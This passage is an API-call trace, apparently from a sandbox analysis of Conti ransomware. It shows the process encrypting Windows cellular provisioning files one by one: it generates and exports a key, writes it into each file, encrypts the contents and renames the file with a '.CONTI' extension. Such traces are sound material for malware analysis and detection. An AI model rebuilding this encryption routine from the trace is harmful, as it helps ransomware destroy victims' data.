	[0112.209] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\504__connections_cellular_t-mobile usa_ solavei (united states)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.210] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\504__connections_cellular_t-mobile usa_ solavei (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404
	[0112.210] GetLastError () returned 0x0
	[0112.210] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=724) returned 1
	[0112.210] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d4
	[0112.210] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.210] SetEndOfFile (hFile=0x404) returned 1
	[0112.211] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.211] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.211] WriteFile (in: hFile=0x404, lpBuffer=0x1812c24*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x1812c24*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0112.217] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.217] ReadFile (in: hFile=0x404, lpBuffer=0xc610000, nNumberOfBytesToRead=0x2d4, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x2d4, lpOverlapped=0x0) returned 1
	[0112.217] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x2d4, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x2e0) returned 1
	[0112.217] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.218] WriteFile (in: hFile=0x404, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x2e0, lpOverlapped=0x0) returned 1
	[0112.218] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.218] WriteFile (in: hFile=0x404, lpBuffer=0x1812c18*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x1812c18*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0112.218] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.218] CloseHandle (hObject=0x404) returned 1
	[0112.218] GetProcessHeap () returned 0x1720000
	[0112.218] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.218] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml"
	[0112.218] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.218] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\504__connections_cellular_t-mobile usa_ solavei (united states)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\504__connections_cellular_t-mobile usa_ solavei (united states)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.219] GetProcessHeap () returned 0x1720000
	[0112.219] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.219] CryptDestroyKey (hKey=0x6b7f338) returned 1
	[0112.219] GetProcessHeap () returned 0x1720000
	[0112.219] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1816170 | out: hHeap=0x1720000) returned 1
	[0112.219] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0112.219] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x1812300 | out: phKey=0x1812300*=0x6b7f338) returned 1
	[0112.219] CryptExportKey (in: hKey=0x6b7f338, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x1812304, pdwDataLen=0x46fff1c | out: pbData=0x1812304*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0112.220] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\506__connections_cellular_verizon (united states) app_i3$(__mvid)@wap.provxml")) returned 0x20
	[0112.220] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\506__connections_cellular_verizon (united states) app_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404
	[0112.221] GetLastError () returned 0x0
	[0112.221] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=651) returned 1
	[0112.221] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x28b
	[0112.221] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.221] SetEndOfFile (hFile=0x404) returned 1
	[0112.221] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.221] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.221] WriteFile (in: hFile=0x404, lpBuffer=0x1812304*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x1812304*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0112.223] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.223] ReadFile (in: hFile=0x404, lpBuffer=0xc610000, nNumberOfBytesToRead=0x28b, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x28b, lpOverlapped=0x0) returned 1
	[0112.223] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x28b, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x290) returned 1
	[0112.224] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.224] WriteFile (in: hFile=0x404, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x290, lpOverlapped=0x0) returned 1
	[0112.224] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.224] WriteFile (in: hFile=0x404, lpBuffer=0x18122f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x18122f8*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0112.224] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.224] CloseHandle (hObject=0x404) returned 1
	[0112.224] GetProcessHeap () returned 0x1720000
	[0112.224] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.224] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml"
	[0112.224] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml.CONTI"
	[0112.224] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\506__connections_cellular_verizon (united states) app_i3$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\506__connections_cellular_verizon (united states) app_i3$(__mvid)@wap.provxml.conti")) returned 1
	[0112.225] GetProcessHeap () returned 0x1720000
	[0112.225] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.225] CryptDestroyKey (hKey=0x6b7f338) returned 1
	[0112.225] GetProcessHeap () returned 0x1720000
	[0112.225] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180c138 | out: hHeap=0x1720000) returned 1
	[0112.225] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0112.225] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x1813788 | out: phKey=0x1813788*=0x6b7f338) returned 1
	[0112.225] CryptExportKey (in: hKey=0x6b7f338, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x181378c, pdwDataLen=0x46fff1c | out: pbData=0x181378c*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0112.226] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\507__connections_cellular_verizon (united states) ims_i2$(__mvid)@wap.provxml")) returned 0x20
	[0112.226] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\507__connections_cellular_verizon (united states) ims_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404
	[0112.226] GetLastError () returned 0x0
	[0112.226] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=651) returned 1
	[0112.226] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x28b
	[0112.227] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.227] SetEndOfFile (hFile=0x404) returned 1
	[0112.227] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.227] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.227] WriteFile (in: hFile=0x404, lpBuffer=0x181378c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x181378c*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0112.229] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.229] ReadFile (in: hFile=0x404, lpBuffer=0xc610000, nNumberOfBytesToRead=0x28b, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x28b, lpOverlapped=0x0) returned 1
	[0112.229] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x28b, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x290) returned 1
	[0112.229] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.229] WriteFile (in: hFile=0x404, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x290, lpOverlapped=0x0) returned 1
	[0112.229] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.229] WriteFile (in: hFile=0x404, lpBuffer=0x1813780*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x1813780*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0112.229] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.229] CloseHandle (hObject=0x404) returned 1
	[0112.230] GetProcessHeap () returned 0x1720000
	[0112.230] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.230] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml"
	[0112.230] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml.CONTI"
	[0112.230] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\507__connections_cellular_verizon (united states) ims_i2$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\507__connections_cellular_verizon (united states) ims_i2$(__mvid)@wap.provxml.conti")) returned 1
	[0112.231] GetProcessHeap () returned 0x1720000
	[0112.231] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.231] CryptDestroyKey (hKey=0x6b7f338) returned 1
	[0112.231] GetProcessHeap () returned 0x1720000
	[0112.231] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180b520 | out: hHeap=0x1720000) returned 1
	[0112.231] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0112.231] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x1814538 | out: phKey=0x1814538*=0x6b7f338) returned 1
	[0112.231] CryptExportKey (in: hKey=0x6b7f338, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x181453c, pdwDataLen=0x46fff1c | out: pbData=0x181453c*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0112.232] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\508__connections_cellular_verizon (united states) internet_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.232] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\508__connections_cellular_verizon (united states) internet_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404
	[0112.232] GetLastError () returned 0x0
	[0112.232] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=661) returned 1
	[0112.232] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x295
	[0112.232] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.232] SetEndOfFile (hFile=0x404) returned 1
	[0112.232] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.232] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.232] WriteFile (in: hFile=0x404, lpBuffer=0x181453c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x181453c*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0112.812] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.812] ReadFile (in: hFile=0x404, lpBuffer=0xc610000, nNumberOfBytesToRead=0x295, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x295, lpOverlapped=0x0) returned 1
	[0112.812] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x295, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x2a0) returned 1
	[0112.812] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.812] WriteFile (in: hFile=0x404, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x2a0, lpOverlapped=0x0) returned 1
	[0112.812] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.812] WriteFile (in: hFile=0x404, lpBuffer=0x1814530*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x1814530*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0112.812] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.812] CloseHandle (hObject=0x404) returned 1
	[0112.823] GetProcessHeap () returned 0x1720000
	[0112.823] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.681] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml"
